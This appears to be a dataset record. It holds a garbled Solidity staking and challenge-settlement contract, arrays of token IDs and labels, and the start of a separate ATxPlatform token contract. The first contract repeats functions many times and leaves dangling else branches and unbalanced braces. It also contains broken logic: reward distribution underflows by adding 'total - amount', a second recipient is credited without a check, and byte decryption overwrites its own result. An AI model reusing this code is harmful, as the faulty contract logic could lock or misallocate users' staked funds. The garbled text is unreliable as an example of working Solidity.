distributeReward(reward, agrees, agrees.length);
}
emit Finalize(cIndex, msg.sender, SETTLEMENT.AGREE);
}
}
if (consensus_strikes[challenge.challenger] > FAIL_THRESHOLD) {
reward += penalize(challenge.challenger);
}
distributeReward(reward, challenge.verifiers, challenge.verifiers.length - 1);
emit Finalize(cIndex, msg.sender, SETTLEMENT.SAME_ROOT);
}
challenge.done = true;
activeChallenges--;
chain_under_challenge[challenge.chainID] = 0;
}
function finalize(uint256 cIndex) internal {
Challenge storage challenge = challenges[cIndex];
require(challenge.done == false, "challenge is closed");
if (challenge.verifiers.length != challenge.numVerifiers
&& block.timestamp - challenge.timestamp < verifyWindow * 2) {
return;
}
IStateCommitmentChain stateChain = IStateCommitmentChain(resolve("StateCommitmentChain"));
bytes32 proposedHash = bytes32(challenge_hashes[cIndex][challenge.challenger]);
uint reward = 0;
address[] memory agrees = new address[](challenge.verifiers.length);
uint numAgrees = 0;
address[] memory disagrees = new address[](challenge.verifiers.length);
uint numDisagrees = 0;
for (uint256 i = 0; i < verifiers.length; i++) {
if (!isSufficientlyStaked(verifiers[i]) || !isWhiteListed(verifiers[i])) {
continue;
}
if (bytes32(challenge_hashes[cIndex][verifiers[i]]) == proposedHash) {
if (absence_strikes[verifiers[i]] > 0) {
}
agrees[numAgrees] = verifiers[i];
numAgrees++;
if (absence_strikes[verifiers[i]] > ABSENCE_THRESHOLD) {
reward += penalize(verifiers[i]);
}
if (absence_strikes[verifiers[i]] > 0) {
}
disagrees[numDisagrees] = verifiers[i];
numDisagrees++;
}
}
if (Lib_OVMCodec.hashBatchHeader(challenge.header) !=
stateChain.batches().getByChainId(challenge.chainID, challenge.header.batchIndex)) {
reward += penalize(challenge.challenger);
distributeReward(reward, disagrees, challenge.verifiers.length - 1);
emit Finalize(cIndex, msg.sender, SETTLEMENT.DISAGREE);
emit Finalize(cIndex, msg.sender, SETTLEMENT.NOT_ENOUGH_VERIFIER);
}
else if (proposedHash != challenge.header.batchRoot) {
if (numAgrees <= numDisagrees) {
for (uint i = 0; i < numAgrees; i++) {
consensus_strikes[agrees[i]] += 2;
if (consensus_strikes[agrees[i]] > FAIL_THRESHOLD) {
reward += penalize(agrees[i]);
}
}
distributeReward(reward, disagrees, disagrees.length);
emit Finalize(cIndex, msg.sender, SETTLEMENT.DISAGREE);
if(stateChain.insideFraudProofWindow(challenge.header)) {
stateChain.deleteStateBatchByChainId(challenge.chainID, challenge.header);
if (seqStake > 0) {
reward += seqStake;
for (uint i = 0; i < numDisagrees; i++) {
consensus_strikes[disagrees[i]] += 2;
if (consensus_strikes[disagrees[i]] > FAIL_THRESHOLD) {
reward += penalize(disagrees[i]);
}
}
distributeReward(reward, agrees, agrees.length);
}
emit Finalize(cIndex, msg.sender, SETTLEMENT.AGREE);
}
}
if (consensus_strikes[challenge.challenger] > FAIL_THRESHOLD) {
reward += penalize(challenge.challenger);
}
distributeReward(reward, challenge.verifiers, challenge.verifiers.length - 1);
emit Finalize(cIndex, msg.sender, SETTLEMENT.SAME_ROOT);
}
challenge.done = true;
activeChallenges--;
chain_under_challenge[challenge.chainID] = 0;
}
function finalize(uint256 cIndex) internal {
Challenge storage challenge = challenges[cIndex];
require(challenge.done == false, "challenge is closed");
if (challenge.verifiers.length != challenge.numVerifiers
&& block.timestamp - challenge.timestamp < verifyWindow * 2) {
return;
}
IStateCommitmentChain stateChain = IStateCommitmentChain(resolve("StateCommitmentChain"));
bytes32 proposedHash = bytes32(challenge_hashes[cIndex][challenge.challenger]);
uint reward = 0;
address[] memory agrees = new address[](challenge.verifiers.length);
uint numAgrees = 0;
address[] memory disagrees = new address[](challenge.verifiers.length);
uint numDisagrees = 0;
for (uint256 i = 0; i < verifiers.length; i++) {
if (!isSufficientlyStaked(verifiers[i]) || !isWhiteListed(verifiers[i])) {
continue;
}
if (bytes32(challenge_hashes[cIndex][verifiers[i]]) == proposedHash) {
if (absence_strikes[verifiers[i]] > 0) {
}
agrees[numAgrees] = verifiers[i];
numAgrees++;
if (absence_strikes[verifiers[i]] > ABSENCE_THRESHOLD) {
reward += penalize(verifiers[i]);
}
if (absence_strikes[verifiers[i]] > 0) {
}
disagrees[numDisagrees] = verifiers[i];
numDisagrees++;
}
}
if (Lib_OVMCodec.hashBatchHeader(challenge.header) !=
stateChain.batches().getByChainId(challenge.chainID, challenge.header.batchIndex)) {
reward += penalize(challenge.challenger);
distributeReward(reward, disagrees, challenge.verifiers.length - 1);
emit Finalize(cIndex, msg.sender, SETTLEMENT.DISAGREE);
emit Finalize(cIndex, msg.sender, SETTLEMENT.NOT_ENOUGH_VERIFIER);
}
else if (proposedHash != challenge.header.batchRoot) {
if (numAgrees <= numDisagrees) {
for (uint i = 0; i < numAgrees; i++) {
consensus_strikes[agrees[i]] += 2;
if (consensus_strikes[agrees[i]] > FAIL_THRESHOLD) {
reward += penalize(agrees[i]);
}
}
distributeReward(reward, disagrees, disagrees.length);
emit Finalize(cIndex, msg.sender, SETTLEMENT.DISAGREE);
if(stateChain.insideFraudProofWindow(challenge.header)) {
stateChain.deleteStateBatchByChainId(challenge.chainID, challenge.header);
if (seqStake > 0) {
reward += seqStake;
for (uint i = 0; i < numDisagrees; i++) {
consensus_strikes[disagrees[i]] += 2;
if (consensus_strikes[disagrees[i]] > FAIL_THRESHOLD) {
reward += penalize(disagrees[i]);
}
}
distributeReward(reward, agrees, agrees.length);
}
emit Finalize(cIndex, msg.sender, SETTLEMENT.AGREE);
}
}
if (consensus_strikes[challenge.challenger] > FAIL_THRESHOLD) {
reward += penalize(challenge.challenger);
}
distributeReward(reward, challenge.verifiers, challenge.verifiers.length - 1);
emit Finalize(cIndex, msg.sender, SETTLEMENT.SAME_ROOT);
}
challenge.done = true;
activeChallenges--;
chain_under_challenge[challenge.chainID] = 0;
}
} else {
emit Finalize(cIndex, msg.sender, SETTLEMENT.PASS);
} else {
consensus_strikes[challenge.challenger] += 2;
function finalize(uint256 cIndex) internal {
Challenge storage challenge = challenges[cIndex];
require(challenge.done == false, "challenge is closed");
if (challenge.verifiers.length != challenge.numVerifiers
&& block.timestamp - challenge.timestamp < verifyWindow * 2) {
return;
}
IStateCommitmentChain stateChain = IStateCommitmentChain(resolve("StateCommitmentChain"));
bytes32 proposedHash = bytes32(challenge_hashes[cIndex][challenge.challenger]);
uint reward = 0;
address[] memory agrees = new address[](challenge.verifiers.length);
uint numAgrees = 0;
address[] memory disagrees = new address[](challenge.verifiers.length);
uint numDisagrees = 0;
for (uint256 i = 0; i < verifiers.length; i++) {
if (!isSufficientlyStaked(verifiers[i]) || !isWhiteListed(verifiers[i])) {
continue;
}
if (bytes32(challenge_hashes[cIndex][verifiers[i]]) == proposedHash) {
if (absence_strikes[verifiers[i]] > 0) {
}
agrees[numAgrees] = verifiers[i];
numAgrees++;
if (absence_strikes[verifiers[i]] > ABSENCE_THRESHOLD) {
reward += penalize(verifiers[i]);
}
if (absence_strikes[verifiers[i]] > 0) {
}
disagrees[numDisagrees] = verifiers[i];
numDisagrees++;
}
}
if (Lib_OVMCodec.hashBatchHeader(challenge.header) !=
stateChain.batches().getByChainId(challenge.chainID, challenge.header.batchIndex)) {
reward += penalize(challenge.challenger);
distributeReward(reward, disagrees, challenge.verifiers.length - 1);
emit Finalize(cIndex, msg.sender, SETTLEMENT.DISAGREE);
emit Finalize(cIndex, msg.sender, SETTLEMENT.NOT_ENOUGH_VERIFIER);
}
else if (proposedHash != challenge.header.batchRoot) {
if (numAgrees <= numDisagrees) {
for (uint i = 0; i < numAgrees; i++) {
consensus_strikes[agrees[i]] += 2;
if (consensus_strikes[agrees[i]] > FAIL_THRESHOLD) {
reward += penalize(agrees[i]);
}
}
distributeReward(reward, disagrees, disagrees.length);
emit Finalize(cIndex, msg.sender, SETTLEMENT.DISAGREE);
if(stateChain.insideFraudProofWindow(challenge.header)) {
stateChain.deleteStateBatchByChainId(challenge.chainID, challenge.header);
if (seqStake > 0) {
reward += seqStake;
for (uint i = 0; i < numDisagrees; i++) {
consensus_strikes[disagrees[i]] += 2;
if (consensus_strikes[disagrees[i]] > FAIL_THRESHOLD) {
reward += penalize(disagrees[i]);
}
}
distributeReward(reward, agrees, agrees.length);
}
emit Finalize(cIndex, msg.sender, SETTLEMENT.AGREE);
}
}
if (consensus_strikes[challenge.challenger] > FAIL_THRESHOLD) {
reward += penalize(challenge.challenger);
}
distributeReward(reward, challenge.verifiers, challenge.verifiers.length - 1);
emit Finalize(cIndex, msg.sender, SETTLEMENT.SAME_ROOT);
}
challenge.done = true;
activeChallenges--;
chain_under_challenge[challenge.chainID] = 0;
}
function depositSeqStake(uint256 amount) public onlyManager {
require(IERC20(metis).transferFrom(msg.sender, address(this), amount), "transfer metis failed");
seqStake += amount;
emit Stake(msg.sender, amount);
}
function withdrawSeqStake(address to) public onlyManager {
require(seqStake > 0, "no stake");
emit Withdraw(msg.sender, seqStake);
uint256 amount = seqStake;
seqStake = 0;
require(IERC20(metis).transfer(to, amount), "transfer metis failed");
}
function claim() public {
require(rewards[msg.sender] > 0, "no reward to claim");
uint256 amount = rewards[msg.sender];
rewards[msg.sender] = 0;
require(IERC20(metis).transfer(msg.sender, amount), "token transfer failed");
emit Claim(msg.sender, amount);
}
function withdraw(uint256 amount) public {
uint256 balance = verifier_stakes[msg.sender];
require(balance >= amount, "insufficient stake to withdraw");
if (balance - amount < minStake && balance >= minStake) {
numQualifiedVerifiers--;
deleteVerifier(msg.sender);
}
verifier_stakes[msg.sender] -= amount;
require(IERC20(metis).transfer(msg.sender, amount), "token transfer failed");
}
function withdraw(uint256 amount) public {
uint256 balance = verifier_stakes[msg.sender];
require(balance >= amount, "insufficient stake to withdraw");
if (balance - amount < minStake && balance >= minStake) {
numQualifiedVerifiers--;
deleteVerifier(msg.sender);
}
verifier_stakes[msg.sender] -= amount;
require(IERC20(metis).transfer(msg.sender, amount), "token transfer failed");
}
function setMinStake(
uint256 _minStake
)
public
onlyManager
{
minStake = _minStake;
uint num = 0;
if (verifiers.length > 0) {
address[] memory arr = new address[](verifiers.length);
for (uint i = 0; i < verifiers.length; ++i) {
if (verifier_stakes[verifiers[i]] >= minStake) {
arr[num] = verifiers[i];
num++;
}
}
if (num < verifiers.length) {
delete verifiers;
for (uint i = 0; i < num; i++) {
verifiers.push(arr[i]);
}
}
}
numQualifiedVerifiers = num;
}
function setMinStake(
uint256 _minStake
)
public
onlyManager
{
minStake = _minStake;
uint num = 0;
if (verifiers.length > 0) {
address[] memory arr = new address[](verifiers.length);
for (uint i = 0; i < verifiers.length; ++i) {
if (verifier_stakes[verifiers[i]] >= minStake) {
arr[num] = verifiers[i];
num++;
}
}
if (num < verifiers.length) {
delete verifiers;
for (uint i = 0; i < num; i++) {
verifiers.push(arr[i]);
}
}
}
numQualifiedVerifiers = num;
}
function setMinStake(
uint256 _minStake
)
public
onlyManager
{
minStake = _minStake;
uint num = 0;
if (verifiers.length > 0) {
address[] memory arr = new address[](verifiers.length);
for (uint i = 0; i < verifiers.length; ++i) {
if (verifier_stakes[verifiers[i]] >= minStake) {
arr[num] = verifiers[i];
num++;
}
}
if (num < verifiers.length) {
delete verifiers;
for (uint i = 0; i < num; i++) {
verifiers.push(arr[i]);
}
}
}
numQualifiedVerifiers = num;
}
function setMinStake(
uint256 _minStake
)
public
onlyManager
{
minStake = _minStake;
uint num = 0;
if (verifiers.length > 0) {
address[] memory arr = new address[](verifiers.length);
for (uint i = 0; i < verifiers.length; ++i) {
if (verifier_stakes[verifiers[i]] >= minStake) {
arr[num] = verifiers[i];
num++;
}
}
if (num < verifiers.length) {
delete verifiers;
for (uint i = 0; i < num; i++) {
verifiers.push(arr[i]);
}
}
}
numQualifiedVerifiers = num;
}
function setMinStake(
uint256 _minStake
)
public
onlyManager
{
minStake = _minStake;
uint num = 0;
if (verifiers.length > 0) {
address[] memory arr = new address[](verifiers.length);
for (uint i = 0; i < verifiers.length; ++i) {
if (verifier_stakes[verifiers[i]] >= minStake) {
arr[num] = verifiers[i];
num++;
}
}
if (num < verifiers.length) {
delete verifiers;
for (uint i = 0; i < num; i++) {
verifiers.push(arr[i]);
}
}
}
numQualifiedVerifiers = num;
}
function setMinStake(
uint256 _minStake
)
public
onlyManager
{
minStake = _minStake;
uint num = 0;
if (verifiers.length > 0) {
address[] memory arr = new address[](verifiers.length);
for (uint i = 0; i < verifiers.length; ++i) {
if (verifier_stakes[verifiers[i]] >= minStake) {
arr[num] = verifiers[i];
num++;
}
}
if (num < verifiers.length) {
delete verifiers;
for (uint i = 0; i < num; i++) {
verifiers.push(arr[i]);
}
}
}
numQualifiedVerifiers = num;
}
function isWhiteListed(address verifier) view public returns(bool){
return !useWhiteList || whitelist[verifier];
}
function isSufficientlyStaked (address target) view public returns(bool) {
return (verifier_stakes[target] >= minStake);
}
function setVerifyWindow (uint256 window) onlyManager public {
verifyWindow = window;
}
function setWhiteList(address verifier, bool allowed) public onlyManager {
whitelist[verifier] = allowed;
useWhiteList = true;
}
function disableWhiteList() public onlyManager {
useWhiteList = false;
}
function setThreshold(uint absence_threshold, uint fail_threshold) public onlyManager {
ABSENCE_THRESHOLD = absence_threshold;
FAIL_THRESHOLD = fail_threshold;
}
function getMerkleRoot(bytes32[] calldata elements) pure public returns (bytes32) {
return Lib_MerkleTree.getMerkleRoot(elements);
}
function encrypt(bytes calldata data, bytes calldata key) pure public returns (bytes memory) {
bytes memory encryptedData = data;
uint j = 0;
for (uint i = 0; i < encryptedData.length; i++) {
if (j == key.length) {
j = 0;
}
encryptedData[i] = encryptByte(encryptedData[i], uint8(key[j]));
j++;
}
return encryptedData;
}
function encrypt(bytes calldata data, bytes calldata key) pure public returns (bytes memory) {
bytes memory encryptedData = data;
uint j = 0;
for (uint i = 0; i < encryptedData.length; i++) {
if (j == key.length) {
j = 0;
}
encryptedData[i] = encryptByte(encryptedData[i], uint8(key[j]));
j++;
}
return encryptedData;
}
function encrypt(bytes calldata data, bytes calldata key) pure public returns (bytes memory) {
bytes memory encryptedData = data;
uint j = 0;
for (uint i = 0; i < encryptedData.length; i++) {
if (j == key.length) {
j = 0;
}
encryptedData[i] = encryptByte(encryptedData[i], uint8(key[j]));
j++;
}
return encryptedData;
}
function encryptByte(bytes1 b, uint8 k) pure internal returns (bytes1) {
uint16 temp16 = uint16(uint8(b));
temp16 += k;
if (temp16 > 255) {
temp16 -= 256;
}
return bytes1(uint8(temp16));
}
function encryptByte(bytes1 b, uint8 k) pure internal returns (bytes1) {
uint16 temp16 = uint16(uint8(b));
temp16 += k;
if (temp16 > 255) {
temp16 -= 256;
}
return bytes1(uint8(temp16));
}
function decrypt(bytes memory data, bytes memory key) pure public returns (bytes memory) {
bytes memory decryptedData = data;
uint j = 0;
for (uint i = 0; i < decryptedData.length; i++) {
if (j == key.length) {
j = 0;
}
decryptedData[i] = decryptByte(decryptedData[i], uint8(key[j]));
j++;
}
return decryptedData;
}
function decrypt(bytes memory data, bytes memory key) pure public returns (bytes memory) {
bytes memory decryptedData = data;
uint j = 0;
for (uint i = 0; i < decryptedData.length; i++) {
if (j == key.length) {
j = 0;
}
decryptedData[i] = decryptByte(decryptedData[i], uint8(key[j]));
j++;
}
return decryptedData;
}
function decrypt(bytes memory data, bytes memory key) pure public returns (bytes memory) {
bytes memory decryptedData = data;
uint j = 0;
for (uint i = 0; i < decryptedData.length; i++) {
if (j == key.length) {
j = 0;
}
decryptedData[i] = decryptByte(decryptedData[i], uint8(key[j]));
j++;
}
return decryptedData;
}
function decryptByte(bytes1 b, uint8 k) pure internal returns (bytes1) {
uint16 temp16 = uint16(uint8(b));
if (temp16 > k) {
temp16 -= k;
temp16 = 256 - k;
}
return bytes1(uint8(temp16));
}
function decryptByte(bytes1 b, uint8 k) pure internal returns (bytes1) {
uint16 temp16 = uint16(uint8(b));
if (temp16 > k) {
temp16 -= k;
temp16 = 256 - k;
}
return bytes1(uint8(temp16));
}
} else {
function distributeReward(uint256 amount, address[] memory list, uint num) internal {
uint reward = amount / num;
if (reward == 0) {
return;
}
uint total = 0;
for (uint i; i < list.length; i++) {
if (isSufficientlyStaked(list[i])) {
rewards[list[i]] += reward;
total += reward;
emit Reward(list[i], reward);
}
}
if (total < amount) {
if (isSufficientlyStaked(list[0])) {
rewards[list[0]] += total - amount;
emit Reward(list[0], total - amount);
rewards[list[1]] += total - amount;
emit Reward(list[1], total - amount);
}
}
}
function distributeReward(uint256 amount, address[] memory list, uint num) internal {
uint reward = amount / num;
if (reward == 0) {
return;
}
uint total = 0;
for (uint i; i < list.length; i++) {
if (isSufficientlyStaked(list[i])) {
rewards[list[i]] += reward;
total += reward;
emit Reward(list[i], reward);
}
}
if (total < amount) {
if (isSufficientlyStaked(list[0])) {
rewards[list[0]] += total - amount;
emit Reward(list[0], total - amount);
rewards[list[1]] += total - amount;
emit Reward(list[1], total - amount);
}
}
}
function distributeReward(uint256 amount, address[] memory list, uint num) internal {
uint reward = amount / num;
if (reward == 0) {
return;
}
uint total = 0;
for (uint i; i < list.length; i++) {
if (isSufficientlyStaked(list[i])) {
rewards[list[i]] += reward;
total += reward;
emit Reward(list[i], reward);
}
}
if (total < amount) {
if (isSufficientlyStaked(list[0])) {
rewards[list[0]] += total - amount;
emit Reward(list[0], total - amount);
rewards[list[1]] += total - amount;
emit Reward(list[1], total - amount);
}
}
}
function distributeReward(uint256 amount, address[] memory list, uint num) internal {
uint reward = amount / num;
if (reward == 0) {
return;
}
uint total = 0;
for (uint i; i < list.length; i++) {
if (isSufficientlyStaked(list[i])) {
rewards[list[i]] += reward;
total += reward;
emit Reward(list[i], reward);
}
}
if (total < amount) {
if (isSufficientlyStaked(list[0])) {
rewards[list[0]] += total - amount;
emit Reward(list[0], total - amount);
rewards[list[1]] += total - amount;
emit Reward(list[1], total - amount);
}
}
}
function distributeReward(uint256 amount, address[] memory list, uint num) internal {
uint reward = amount / num;
if (reward == 0) {
return;
}
uint total = 0;
for (uint i; i < list.length; i++) {
if (isSufficientlyStaked(list[i])) {
rewards[list[i]] += reward;
total += reward;
emit Reward(list[i], reward);
}
}
if (total < amount) {
if (isSufficientlyStaked(list[0])) {
rewards[list[0]] += total - amount;
emit Reward(list[0], total - amount);
rewards[list[1]] += total - amount;
emit Reward(list[1], total - amount);
}
}
}
function distributeReward(uint256 amount, address[] memory list, uint num) internal {
uint reward = amount / num;
if (reward == 0) {
return;
}
uint total = 0;
for (uint i; i < list.length; i++) {
if (isSufficientlyStaked(list[i])) {
rewards[list[i]] += reward;
total += reward;
emit Reward(list[i], reward);
}
}
if (total < amount) {
if (isSufficientlyStaked(list[0])) {
rewards[list[0]] += total - amount;
emit Reward(list[0], total - amount);
rewards[list[1]] += total - amount;
emit Reward(list[1], total - amount);
}
}
}
} else {
function penalize(address target) internal returns(uint256) {
uint256 stake = verifier_stakes[target];
verifier_stakes[target] = 0;
numQualifiedVerifiers--;
deleteVerifier(target);
emit Penalize(target, stake);
return stake;
}
function deleteVerifier(address target) internal {
bool hasVerifier = false;
uint pos = 0;
for (uint i = 0; i < verifiers.length; i++){
if (verifiers[i] == target) {
hasVerifier = true;
pos = i;
break;
}
}
if (hasVerifier) {
for (uint i = pos; i < verifiers.length-1; i++) {
verifiers[i] = verifiers[i+1];
}
verifiers.pop();
}
}
function deleteVerifier(address target) internal {
bool hasVerifier = false;
uint pos = 0;
for (uint i = 0; i < verifiers.length; i++){
if (verifiers[i] == target) {
hasVerifier = true;
pos = i;
break;
}
}
if (hasVerifier) {
for (uint i = pos; i < verifiers.length-1; i++) {
verifiers[i] = verifiers[i+1];
}
verifiers.pop();
}
}
function deleteVerifier(address target) internal {
bool hasVerifier = false;
uint pos = 0;
for (uint i = 0; i < verifiers.length; i++){
if (verifiers[i] == target) {
hasVerifier = true;
pos = i;
break;
}
}
if (hasVerifier) {
for (uint i = pos; i < verifiers.length-1; i++) {
verifiers[i] = verifiers[i+1];
}
verifiers.pop();
}
}
function deleteVerifier(address target) internal {
bool hasVerifier = false;
uint pos = 0;
for (uint i = 0; i < verifiers.length; i++){
if (verifiers[i] == target) {
hasVerifier = true;
pos = i;
break;
}
}
if (hasVerifier) {
for (uint i = pos; i < verifiers.length-1; i++) {
verifiers[i] = verifiers[i+1];
}
verifiers.pop();
}
}
function deleteVerifier(address target) internal {
bool hasVerifier = false;
uint pos = 0;
for (uint i = 0; i < verifiers.length; i++){
if (verifiers[i] == target) {
hasVerifier = true;
pos = i;
break;
}
}
if (hasVerifier) {
for (uint i = pos; i < verifiers.length-1; i++) {
verifiers[i] = verifiers[i+1];
}
verifiers.pop();
}
}
}
| 366,217 |
[
1,
8538,
4694,
25092,
1123,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
16351,
490,
7397,
67,
17758,
353,
10560,
67,
1887,
4301,
95,
203,
565,
1758,
1071,
5100,
291,
31,
203,
203,
203,
565,
871,
1166,
18359,
12,
11890,
5034,
276,
1016,
16,
2254,
5034,
27756,
16,
10560,
67,
51,
7397,
11008,
18,
3893,
4497,
1864,
1446,
16,
2254,
5034,
2858,
1769,
203,
565,
871,
8553,
21,
12,
11890,
5034,
276,
1016,
16,
1758,
20130,
1769,
203,
565,
871,
8553,
22,
12,
11890,
5034,
276,
1016,
16,
1758,
20130,
1769,
203,
565,
871,
30740,
12,
11890,
5034,
276,
1016,
16,
1758,
5793,
16,
3174,
1470,
7618,
563,
1769,
203,
565,
871,
453,
275,
287,
554,
12,
2867,
5793,
16,
2254,
5034,
384,
911,
19024,
1769,
203,
565,
871,
534,
359,
1060,
12,
2867,
1018,
16,
2254,
5034,
3844,
1769,
203,
565,
871,
18381,
12,
2867,
5793,
16,
2254,
5034,
3844,
1769,
203,
565,
871,
3423,
9446,
12,
2867,
5793,
16,
2254,
5034,
3844,
1769,
203,
565,
871,
934,
911,
12,
2867,
20130,
16,
2254,
5034,
3844,
1769,
203,
565,
871,
9708,
961,
1761,
372,
23568,
12,
11890,
5034,
27756,
16,
1758,
3833,
1769,
203,
203,
565,
533,
5381,
1071,
9128,
67,
29602,
67,
3297,
273,
315,
18315,
5127,
67,
19402,
14432,
203,
203,
97,
203,
203,
683,
9454,
18035,
560,
3602,
20,
18,
28,
18,
29,
31,
203,
203,
565,
2792,
3174,
1470,
7618,
288,
4400,
67,
1157,
26556,
16715,
67,
2204,
10591,
16,
348,
1642,
67,
9185,
16,
432,
43,
9719,
16,
17641,
1781,
9719,
16,
17882,
97,
203,
565,
1958,
1680,
8525,
288,
203,
2
] |
pragma solidity ^0.4.18;
/**
* @title Owned contract with safe ownership pass.
*
* Note: all the non constant functions return false instead of throwing in case if state change
* didn't happen yet.
*/
contract Owned {
/**
* Contract owner address
*/
address public contractOwner;
/**
* Contract owner address
*/
address public pendingContractOwner;
function Owned() {
contractOwner = msg.sender;
}
/**
* @dev Owner check modifier
*/
modifier onlyContractOwner() {
if (contractOwner == msg.sender) {
_;
}
}
/**
* @dev Destroy contract and scrub a data
* @notice Only owner can call it
*/
function destroy() onlyContractOwner {
suicide(msg.sender);
}
/**
* Prepares ownership pass.
*
* Can only be called by current owner.
*
* @param _to address of the next owner. 0x0 is not allowed.
*
* @return success.
*/
function changeContractOwnership(address _to) onlyContractOwner() returns(bool) {
if (_to == 0x0) {
return false;
}
pendingContractOwner = _to;
return true;
}
/**
* Finalize ownership pass.
*
* Can only be called by pending owner.
*
* @return success.
*/
function claimContractOwnership() returns(bool) {
if (pendingContractOwner != msg.sender) {
return false;
}
contractOwner = pendingContractOwner;
delete pendingContractOwner;
return true;
}
}
contract ERC20Interface {
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed from, address indexed spender, uint256 value);
string public symbol;
function totalSupply() constant returns (uint256 supply);
function balanceOf(address _owner) constant returns (uint256 balance);
function transfer(address _to, uint256 _value) returns (bool success);
function transferFrom(address _from, address _to, uint256 _value) returns (bool success);
function approve(address _spender, uint256 _value) returns (bool success);
function allowance(address _owner, address _spender) constant returns (uint256 remaining);
}
/**
* @title Generic owned destroyable contract
*/
contract Object is Owned {
/**
* Common result code. Means everything is fine.
*/
uint constant OK = 1;
uint constant OWNED_ACCESS_DENIED_ONLY_CONTRACT_OWNER = 8;
function withdrawnTokens(address[] tokens, address _to) onlyContractOwner returns(uint) {
for(uint i=0;i<tokens.length;i++) {
address token = tokens[i];
uint balance = ERC20Interface(token).balanceOf(this);
if(balance != 0)
ERC20Interface(token).transfer(_to,balance);
}
return OK;
}
function checkOnlyContractOwner() internal constant returns(uint) {
if (contractOwner == msg.sender) {
return OK;
}
return OWNED_ACCESS_DENIED_ONLY_CONTRACT_OWNER;
}
}
/**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
/**
* @title General MultiEventsHistory user.
*
*/
contract MultiEventsHistoryAdapter {
/**
* @dev It is address of MultiEventsHistory caller assuming we are inside of delegate call.
*/
function _self() constant internal returns (address) {
return msg.sender;
}
}
/// @title Fund Tokens Platform Emitter.
///
/// Contains all the original event emitting function definitions and events.
/// In case of new events needed later, additional emitters can be developed.
/// All the functions is meant to be called using delegatecall.
contract Emitter is MultiEventsHistoryAdapter {
event Transfer(address indexed from, address indexed to, bytes32 indexed symbol, uint value, string reference);
event Issue(bytes32 indexed symbol, uint value, address indexed by);
event Revoke(bytes32 indexed symbol, uint value, address indexed by);
event OwnershipChange(address indexed from, address indexed to, bytes32 indexed symbol);
event Approve(address indexed from, address indexed spender, bytes32 indexed symbol, uint value);
event Recovery(address indexed from, address indexed to, address by);
event Error(uint errorCode);
function emitTransfer(address _from, address _to, bytes32 _symbol, uint _value, string _reference) public {
Transfer(_from, _to, _symbol, _value, _reference);
}
function emitIssue(bytes32 _symbol, uint _value, address _by) public {
Issue(_symbol, _value, _by);
}
function emitRevoke(bytes32 _symbol, uint _value, address _by) public {
Revoke(_symbol, _value, _by);
}
function emitOwnershipChange(address _from, address _to, bytes32 _symbol) public {
OwnershipChange(_from, _to, _symbol);
}
function emitApprove(address _from, address _spender, bytes32 _symbol, uint _value) public {
Approve(_from, _spender, _symbol, _value);
}
function emitRecovery(address _from, address _to, address _by) public {
Recovery(_from, _to, _by);
}
function emitError(uint _errorCode) public {
Error(_errorCode);
}
}
contract ProxyEventsEmitter {
function emitTransfer(address _from, address _to, uint _value) public;
function emitApprove(address _from, address _spender, uint _value) public;
}
/// @title Fund Tokens Platform.
///
/// Platform uses MultiEventsHistory contract to keep events, so that in case it needs to be redeployed
/// at some point, all the events keep appearing at the same place.
///
/// Every asset is meant to be used through a proxy contract. Only one proxy contract have access
/// rights for a particular asset.
///
/// Features: transfers, allowances, supply adjustments, lost wallet access recovery.
///
/// Note: all the non constant functions return false instead of throwing in case if state change
/// didn't happen yet.
/// BMCPlatformInterface compatibility
contract ATxPlatform is Object, Emitter {
uint constant ATX_PLATFORM_SCOPE = 80000;
uint constant ATX_PLATFORM_PROXY_ALREADY_EXISTS = ATX_PLATFORM_SCOPE + 1;
uint constant ATX_PLATFORM_CANNOT_APPLY_TO_ONESELF = ATX_PLATFORM_SCOPE + 2;
uint constant ATX_PLATFORM_INVALID_VALUE = ATX_PLATFORM_SCOPE + 3;
uint constant ATX_PLATFORM_INSUFFICIENT_BALANCE = ATX_PLATFORM_SCOPE + 4;
uint constant ATX_PLATFORM_NOT_ENOUGH_ALLOWANCE = ATX_PLATFORM_SCOPE + 5;
uint constant ATX_PLATFORM_ASSET_ALREADY_ISSUED = ATX_PLATFORM_SCOPE + 6;
